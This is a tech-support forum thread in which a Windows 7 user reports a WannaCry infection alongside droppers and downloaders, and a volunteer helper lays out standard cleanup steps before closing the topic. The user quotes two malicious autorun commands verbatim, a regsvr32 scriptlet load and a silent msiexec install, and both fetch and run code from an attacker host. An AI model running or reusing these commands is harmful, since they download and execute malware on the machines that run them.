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A massive virus attack including the notorious WannaCry virus


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#1 My-Dear-Friend

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Posted 27 July 2017 - 01:34 AM

Yesterday my computer (Windows 7 HB x64 SP1) was subject to a massive virus attack.
The attack was contained by mostly the COMODO HIPS and probably by some of my countermeasures, but I still need to figure out how the viruses got into my computer and if everything of the malware has been removed.

In chronological order:

- At 17:56:40 a file "mssecsvc.exe" was created in the folder "C:\Windows".
  Upon COMODO HIPS alert I terminated and deleted the file.
  VirusTotal scan revealed that the file is Trojan / WanaCry / WannaCryptor RansomWare
  After this the same file kept appearing in the same folder many times during several hours.
  Each time I deleted the file and then after some minutes it reappeared.

- At 18:44:11 a file "c.bat" was created in the folder "C:\Windows\debug"
  The same, upon HIPS alert I deleted the file.
  VirusTotal did not find the file malignant at all, but Malwr scan revealed a lot of malicious activity.

- At 19:22:03 a file "ajtce.exe" was created in the folder "C:\Windows\Temp"
- At 19:22:35 a file "ocioq.exe" was created in the folder "C:\Windows\Temp"
   Both of these files were identified as Trojan Droppers.

By this time I had scanned my computer with Malwarebytes and BitDefender Adware Removal Tool, but they did not find any problems.

Next I had found two new Auto Run entries:

    1) Name: start
    Command line: regsvr32 /u /s /i:http://js.mykings.top:280/v.sct scrobj.dll
    Location: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
    Process Path: regsvr32 /u /s /i:http://js.mykings.top:280/v.sct scrobj.dll

    2) Name: start1
    Command line: msiexec.exe /i http://js.mykings.top:280/helloworld.msi /q
    Location: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
    Process Path: C:\Windows\system32\msiexec.exe

- At 20:48:10 a file "Fwasf.exe" was created in the folder "C:\"
- At 21:53:24 a file "huazhongdiguo.exe" was created in the folder "C:\"
   Both of these files were identified as Trojan Downloaders.

I deleted both Auto Run entries, downloaded the latest version of the RogueKiller. The scan did not find any substantial problems.

I rebooted the computer and did the Smart Scan with COMODO Cleaning Essentials - again no problems were found.

The file "mssecsvc.exe" kept reappearing in the folder "C:\Windows". Its actions were blocked by COMODO HIPS, but I kept deleting it every time I found it.
Other than that the computer worked normally.

By this time I have found a very suspicious activity of the SYSTEM process, namely it was trying to connect to other user's home computers in my ISP's network, among other places. The TCP connections were made from the ports 445 or 139 - characteristic of the WannaCry virus.

So it looked like some virus had hijacked my computer's SYSTEM process. Over a few hours SYSTEM had downloaded to my computer about 108 MB of some data and uploaded to somewhere in the Internet about 4.5 MB.

I blocked SYSTEM form connecting to the Internet with COMODO Firewall.

Since then no new viruses had appeared on my computer, so far, at least that I know of - there were no alerts.

I have been performing the complete scan with COMODO Cleaning Essentials but it is taking too long, so I will put it on pause. So far it is at 50% and has found no problems at all.

How can I find out how all these viruses got into my computer and if I had removed all of the malware?

Edited by quietman7, 27 July 2017 - 08:24 PM.
removed possible unsafe attachment


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#2 Oh My!

Oh My!

    Adware and Spyware and Malware.....


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Posted 29 July 2017 - 08:50 PM

Greetings My-Dear-Friend and :welcome: to BleepingComputer's Virus/Trojan/Spyware/Malware Removal forum.

My name is Oh My! and I am here to help you! Now that we are "friends" please call me Gary.

If you would allow me to call you by your first name I would prefer to do that.

===================================================

Ground Rules:
  • First, I would like to inform you that most of us here at Bleeping Computer offer our expert assistance out of the goodness of our hearts. Please try to match our commitment to you with your patience toward us. If this was easy we would never have met.
  • Please do not run any tools or take any steps other than those I will provide for you while we work on your computer together. I need to be certain about the state of your computer in order to provide appropriate and effective steps for you to take. Most often "well intentioned" (and usually panic driven!) independent efforts can make things much worse for both of us. If at any point you would prefer to take your own steps please let me know, I will not be offended. I would be happy to focus on the many others who are waiting in line for assistance.
  • Please perform all steps in the order they are listed in each set of instructions. Some steps may be a bit complicated. If things are not clear, be sure to stop and let me know. We need to work on this together with confidence.
  • Please copy and paste all logs into your post unless directed otherwise. Please do not re-run any programs I suggest. If you encounter problems simply stop and tell me.
  • If you do not reply to your topic after 5 days we assume it has been abandoned and I will close it.
  • When your computer is clean I will alert you of such. I will also provide for you detailed information about how you can combat future infections.
  • I would like to remind you to make no further changes to your computer unless I direct you to do so.
===================================================

Now that I am assisting you, you can expect that I will be very responsive to your situation. If you are able, I would request you check this thread at least once per day so that we can try to resolve your issues effectively and efficiently. If you are going to be delayed please be considerate and post that information so that I know you are still with me. Unfortunately, there are many people waiting to be assisted and not enough of us at BleepingComputer to go around. I appreciate your understanding and diligence.

Thank you for your patience thus far.

Please do this.

===================================================

Zemana AntiMalware

--------------------
  • Download Zemana AntiMalware and save it to your Desktop
  • Double click the icon, select Run, then click OK
  • Click Next
  • Select I accept the agreement then click Next 3 times
  • Click Scan
  • When complete click on the 3 bars near the upper right corner of the screen
  • Double click on the file dated today
  • Copy and paste the information in your reply
===================================================

Farbar Recovery Scan Tool (FRST)

--------------------
  • Download Farbar Recover Scan Tool for either 32 bit or 64 bit systems and save it to your Desktop. <<< Important
  • Double click the icon
  • Click Yes to the disclaimer
  • Click Scan and allow the program to run
  • Click OK on the Scan complete screen, then OK on the Addition.txt pop up screen
  • 2 Notepad documents should now be open on your desktop.
  • Please copy and paste the contents of each report in separate reply windows
===================================================

Things I would like to see in your next reply. Please be sure to copy and paste any requested log information unless you are asked to attach it. :thumbsup2:
  • Zemana report
  • FRST.txt
  • Addition.txt

Edited by Oh My!, 31 July 2017 - 12:51 PM.

Gary
 
If I do not reply within 24 hours please send me a Personal Message.

"May you be richly rewarded by the Lord, the God of Israel, under whose wings you have come to take refuge."

#3 Oh My!

Oh My!

    Adware and Spyware and Malware.....


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Posted 01 August 2017 - 06:57 PM

Greetings,

===================================================

Do You Still Need Help?

It has been 3 days since my last post.
  • Do you still need help with this?
  • If you have not replied within 48 hours I will assume you have abandoned the Topic and it will be closed.

Gary
 
If I do not reply within 24 hours please send me a Personal Message.

"May you be richly rewarded by the Lord, the God of Israel, under whose wings you have come to take refuge."

#4 Oh My!

Oh My!

    Adware and Spyware and Malware.....


  • Malware Response Instructor
  • 37,468 posts
  • ONLINE
  •  
  • Gender:Male
  • Location:California
  • Local time:08:53 AM

Posted 03 August 2017 - 08:23 AM

Due to the lack of feedback, this topic is now closed.

In the event you still have problems, please send me or any Moderator a Private Message and ask them to reopen this topic within the next 5 days.

Please include a link to your topic in the Private Message. Thank you.
Gary
 
If I do not reply within 24 hours please send me a Personal Message.

"May you be richly rewarded by the Lord, the God of Israel, under whose wings you have come to take refuge."




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